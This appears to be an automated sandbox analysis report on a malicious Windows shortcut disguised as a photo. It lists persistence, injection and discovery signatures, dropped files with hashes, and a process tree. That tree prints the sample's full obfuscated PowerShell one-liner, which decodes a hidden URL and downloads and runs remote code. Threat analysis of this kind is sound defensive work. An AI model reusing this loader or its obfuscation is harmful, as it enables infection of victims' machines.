Analysis

  • max time kernel
    150s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:18

General

  • Target
    photov_457696073689.lnk
  • Size 1KB
  • Sample260727-pg3bzastc1
  • SHA256 73791b4389f4408d3cff07b4077e79a409933bc4439741ccbb29641ec00fdad6
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 21 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_457696073689.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5584
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$zq13jn=9;$imwcz=60;$gdn0db=22;$xll3u5=[bigint]::Parse('6718855001960860781384201511182310699618895223999974');$m0pw3=[bigint]::Parse('6718854992009168380677136189174086276802339418925677');$xll3u5=$xll3u5-$m0pw3;$nv5esq1lv=@();while($xll3u5 -gt 0){$nv5esq1lv+=[char][int]([bigint]::Remainder($xll3u5,256));$xll3u5=[bigint]::Divide($xll3u5,256)};.([scriptblock]::Create((irm(-join$nv5esq1lv))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5640
        • C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\git.exe
          "C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4960
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2720
  • C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\git.exe
    "C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1812
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:2960
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4868
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:4164

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        zcvdypcfl_pviq_ptplbv.zip

        • Path C:\Users\Admin\AppData\Local\Temp\zcvdypcfl_pviq_ptplbv.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        VCRUNTIME140.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\VCRUNTIME140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\vcruntime140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\lyn_pvy_wqike__upd_rpok_\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/552-131-0x00007FF733C40000-0x00007FF7340AF000-memory.dmp

        memory/552-135-0x00007FFE2F120000-0x00007FFE2F172000-memory.dmp

        memory/552-132-0x00007FFE21300000-0x00007FFE2141F000-memory.dmp

        memory/552-134-0x00007FFE30C00000-0x00007FFE30C26000-memory.dmp

        memory/552-133-0x00007FFE21570000-0x00007FFE21626000-memory.dmp

        memory/1812-235-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-161-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-1401-0x0000000007260000-0x000000000781A000-memory.dmp

        memory/1812-1400-0x0000000006C00000-0x0000000006C92000-memory.dmp

        memory/1812-1399-0x0000000005DC0000-0x0000000005E26000-memory.dmp

        memory/1812-138-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-141-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-147-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-153-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-173-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-199-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-225-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-233-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-249-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-139-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-144-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-145-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-150-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-152-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-155-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-157-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-159-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-130-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/1812-163-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-165-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-167-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-169-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-171-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-136-0x0000000005AD0000-0x0000000005AEA000-memory.dmp

        memory/1812-137-0x0000000005B30000-0x0000000005B5C000-memory.dmp

        memory/1812-251-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-247-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-245-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-243-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-241-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-239-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-237-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-175-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-231-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-229-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-227-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-223-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-222-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-219-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-217-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-215-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-213-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-211-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-209-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-207-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-205-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-203-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-201-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-198-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-195-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-193-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-191-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-189-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-187-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-185-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-183-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-181-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-179-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/1812-177-0x0000000005B30000-0x0000000005B56000-memory.dmp

        memory/2720-763-0x0000000000500000-0x0000000000570000-memory.dmp

        memory/4164-96-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/5640-12-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-24-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-6-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-7-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-22-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-4-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-8-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-94-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-9-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-93-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-10-0x0000025DFD630000-0x0000025DFD7F2000-memory.dmp

        memory/5640-14-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-5-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-0-0x00007FFE2792F000-0x00007FFE27930000-memory.dmp

        memory/5640-11-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-17-0x0000025DFD590000-0x0000025DFD5AE000-memory.dmp

        memory/5640-18-0x0000025DFD800000-0x0000025DFD8B2000-memory.dmp

        memory/5640-19-0x0000025DFD5B0000-0x0000025DFD5BA000-memory.dmp

        memory/5640-21-0x0000025DFD5F0000-0x0000025DFD614000-memory.dmp

        memory/5640-20-0x0000025DFD5F0000-0x0000025DFD61A000-memory.dmp

        memory/5640-29-0x0000025DFD600000-0x0000025DFD612000-memory.dmp

        memory/5640-26-0x0000025DFD5D0000-0x0000025DFD5DA000-memory.dmp

        memory/5640-3-0x0000025DFD080000-0x0000025DFD0A2000-memory.dmp

        memory/5640-25-0x0000025DFDDF0000-0x0000025DFE318000-memory.dmp

        memory/5640-13-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-23-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp

        memory/5640-1403-0x00007FFE277A0000-0x00007FFE28144000-memory.dmp